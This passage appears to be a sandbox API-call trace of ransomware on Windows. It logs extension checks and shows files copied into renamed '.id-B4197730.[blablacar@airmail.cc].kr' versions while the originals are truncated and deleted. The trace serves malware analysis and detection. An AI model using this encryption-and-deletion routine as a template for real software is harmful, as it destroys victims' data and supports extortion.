(lpString=".zip") returned 4 [0107.718] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.718] lstrlenW (lpString=".rar") returned 4 [0107.718] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.718] lstrlenW (lpString=".bz2") returned 4 [0107.718] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.718] lstrlenW (lpString=".7z") returned 3 [0107.718] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0107.718] lstrlenW (lpString=".dbf") returned 4 [0107.718] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0107.718] lstrlenW (lpString=".1cd") returned 4 [0107.718] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0107.718] lstrlenW (lpString=".jpg") returned 4 [0107.718] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0107.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0107.718] lstrlenW (lpString=".doc") returned 4 [0107.718] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.719] lstrlenW (lpString=".docx") returned 5 [0107.719] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0107.719] lstrlenW (lpString=".pdf") returned 4 [0107.719] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.719] lstrlenW (lpString=".xls") returned 4 [0107.719] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.719] lstrlenW (lpString=".xlsx") returned 5 [0107.719] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0107.719] lstrlenW (lpString=".ppt") returned 4 [0107.719] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0107.719] lstrlenW (lpString=".zip") returned 4 [0107.719] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.719] lstrlenW (lpString=".rar") returned 4 [0107.719] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.719] lstrlenW (lpString=".bz2") returned 4 [0107.719] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.719] lstrlenW (lpString=".7z") returned 3 [0107.719] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0107.719] lstrlenW (lpString=".dbf") returned 4 [0107.719] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0107.719] lstrlenW (lpString=".1cd") returned 4 [0107.719] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0107.720] lstrlenW (lpString=".jpg") returned 4 [0107.720] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.720] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0107.720] lstrlenW (lpString="AppVPolicy.dll") returned 14 [0107.720] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0107.720] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=1295576) returned 1 [0107.720] CloseHandle (hObject=0x388) returned 1 [0107.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20 [0107.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.721] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0107.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0107.721] lstrlenW (lpString=".doc") returned 4 [0107.721] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.721] lstrlenW (lpString=".docx") returned 5 [0107.721] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0107.721] lstrlenW (lpString=".pdf") returned 4 [0107.721] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.721] lstrlenW (lpString=".xls") returned 4 [0107.721] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.721] lstrlenW (lpString=".xlsx") returned 5 [0107.721] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0107.721] lstrlenW (lpString=".ppt") returned 4 [0107.721] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0107.721] lstrlenW (lpString=".zip") returned 4 [0107.721] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.721] lstrlenW (lpString=".rar") returned 4 [0107.722] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.722] lstrlenW (lpString=".bz2") returned 4 [0107.722] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.722] lstrlenW (lpString=".7z") returned 3 [0107.722] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0107.722] lstrlenW (lpString=".dbf") returned 4 [0107.722] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0107.722] lstrlenW (lpString=".1cd") returned 4 [0107.722] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0107.722] lstrlenW (lpString=".jpg") returned 4 [0107.722] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0107.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0107.722] lstrlenW (lpString=".doc") returned 4 [0107.722] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.722] lstrlenW (lpString=".docx") returned 5 [0107.722] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0107.722] lstrlenW (lpString=".pdf") returned 4 [0107.722] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.723] lstrlenW (lpString=".xls") returned 4 [0107.723] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.723] lstrlenW (lpString=".xlsx") returned 5 [0107.723] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0107.723] lstrlenW (lpString=".ppt") returned 4 [0107.723] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0107.723] lstrlenW (lpString=".zip") returned 4 [0107.723] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.723] lstrlenW (lpString=".rar") returned 4 [0107.723] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.723] lstrlenW (lpString=".bz2") returned 4 [0107.723] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.723] lstrlenW (lpString=".7z") returned 3 [0107.723] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0107.723] lstrlenW (lpString=".dbf") returned 4 [0107.723] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0107.723] lstrlenW (lpString=".1cd") returned 4 [0107.723] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0107.723] lstrlenW (lpString=".jpg") returned 4 [0107.723] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.724] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0107.724] lstrlenW (lpString="AppVScripting.dll") returned 17 [0107.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0108.765] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=512216) returned 1 [0108.765] CloseHandle (hObject=0x384) returned 1 [0108.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 0x20 [0108.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0108.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0108.765] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0108.765] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0108.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0109.138] GetLastError () returned 0x0 [0109.138] ReadFile (in: hFile=0x384, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x7d0d8, lpOverlapped=0x0) returned 1 [0109.152] WriteFile (in: hFile=0x374, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x7d0e0, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x7d0e0, lpOverlapped=0x0) returned 1 [0109.238] ReadFile (in: hFile=0x384, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0109.238] WriteFile (in: hFile=0x374, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0xf6, lpOverlapped=0x0) returned 1 [0109.239] SetEndOfFile (hFile=0x374) returned 1 [0109.239] CloseHandle (hObject=0x374) Thread: id = 16 os_tid = 0xd5c [0079.602] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10000) returned 0x3620088 [0079.603] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10000) returned 0x3630090 [0079.604] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc728 [0079.604] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x6) returned 0x4de3f8 [0079.604] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc548 [0079.604] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x100000) returned 0x3f02020 [0079.608] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc458 [0079.608] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4bc458, Size=0x20) returned 0x47f190 [0079.608] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc458 [0079.608] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4bc458, Size=0x20) returned 0x47f078 [0079.608] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0079.608] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0079.608] Wow64DisableWow64FsRedirection (in: OldValue=0x391ff50 | out: OldValue=0x391ff50*=0x0) returned 1 [0079.608] lstrlenW (lpString="kernel32.dll") returned 12 [0079.608] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f190 | out: hHeap=0x440000) returned 1 [0079.608] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0079.608] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f078 | out: hHeap=0x440000) returned 1 [0079.609] Sleep (dwMilliseconds=0x64) [0081.419] lstrcmpiW (lpString1=".cmd", lpString2=".kr") returned -1 [0081.419] lstrlenW (lpString="preoobe.cmd") returned 11 [0081.419] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0081.662] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=74) returned 1 [0081.662] CloseHandle (hObject=0x2e8) returned 1 [0081.662] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20 [0081.662] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0081.663] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0081.663] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.663] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.663] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0081.664] GetLastError () returned 0x0 [0081.664] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x4a, lpOverlapped=0x0) returned 1 [0081.684] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x50, lpOverlapped=0x0) returned 1 [0081.686] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0081.686] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xea, lpOverlapped=0x0) returned 1 [0081.686] SetEndOfFile (hFile=0x2f8) returned 1 [0081.687] CloseHandle (hObject=0x2f8) returned 1 [0081.695] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.695] SetEndOfFile (hFile=0x2e8) returned 1 [0081.696] CloseHandle (hObject=0x2e8) returned 1 [0081.697] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0081.697] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 1 [0081.697] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0081.697] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0081.697] lstrlenW (lpString=".doc") returned 4 [0081.697] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0081.697] lstrlenW (lpString=".docx") returned 5 [0081.697] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0081.698] lstrlenW (lpString=".pdf") returned 4 [0081.698] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0081.698] lstrlenW (lpString=".xls") returned 4 [0081.698] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0081.698] lstrlenW (lpString=".xlsx") returned 5 [0081.698] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0081.698] lstrlenW (lpString=".ppt") returned 4 [0081.698] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0081.698] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0081.698] lstrlenW (lpString=".zip") returned 4 [0081.698] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0081.698] lstrlenW (lpString=".rar") returned 4 [0081.698] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0081.698] lstrlenW (lpString=".bz2") returned 4 [0081.698] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0081.698] lstrlenW (lpString=".7z") returned 3 [0081.698] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0081.698] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0081.698] lstrlenW (lpString=".dbf") returned 4 [0081.698] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0081.698] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0081.698] lstrlenW (lpString=".1cd") returned 4 [0081.698] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0081.698] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0081.699] lstrlenW (lpString=".jpg") returned 4 [0081.699] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0081.699] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0081.699] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0081.699] lstrlenW (lpString=".doc") returned 4 [0081.699] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0081.699] lstrlenW (lpString=".docx") returned 5 [0081.699] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0081.699] lstrlenW (lpString=".pdf") returned 4 [0081.699] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0081.699] lstrlenW (lpString=".xls") returned 4 [0081.699] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0081.699] lstrlenW (lpString=".xlsx") returned 5 [0081.699] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0081.699] lstrlenW (lpString=".ppt") returned 4 [0081.699] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0081.699] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0081.699] lstrlenW (lpString=".zip") returned 4 [0081.699] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0081.699] lstrlenW (lpString=".rar") returned 4 [0081.699] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0081.699] lstrlenW (lpString=".bz2") returned 4 [0081.699] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0081.699] lstrlenW (lpString=".7z") returned 3 [0081.699] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0081.700] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0081.700] lstrlenW (lpString=".dbf") returned 4 [0081.700] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0081.700] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0081.700] lstrlenW (lpString=".1cd") returned 4 [0081.700] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0081.700] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0081.700] lstrlenW (lpString=".jpg") returned 4 [0081.700] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0081.700] Sleep (dwMilliseconds=0x64) [0082.318] Sleep (dwMilliseconds=0x64) [0084.042] Sleep (dwMilliseconds=0x64) [0084.426] Sleep (dwMilliseconds=0x64) [0085.192] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0085.192] lstrlenW (lpString="SetupResources.dll") returned 18 [0085.192] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0085.193] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=18776) returned 1 [0085.193] CloseHandle (hObject=0x338) returned 1 [0085.193] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80 [0085.193] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0085.193] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0085.193] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.194] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.194] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0085.195] GetLastError () returned 0x0 [0085.195] ReadFile (in: hFile=0x338, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x4958, lpOverlapped=0x0) returned 1 [0085.201] WriteFile (in: hFile=0x33c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x4960, lpOverlapped=0x0) returned 1 [0085.203] ReadFile (in: hFile=0x338, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0085.203] WriteFile (in: hFile=0x33c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xf8, lpOverlapped=0x0) returned 1 [0085.203] SetEndOfFile (hFile=0x33c) returned 1 [0085.203] CloseHandle (hObject=0x33c) returned 1 [0085.205] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.205] SetEndOfFile (hFile=0x338) returned 1 [0085.206] CloseHandle (hObject=0x338) returned 1 [0085.206] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0085.207] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 1 [0085.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0085.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0085.207] lstrlenW (lpString=".doc") returned 4 [0085.207] lstrcmpiW 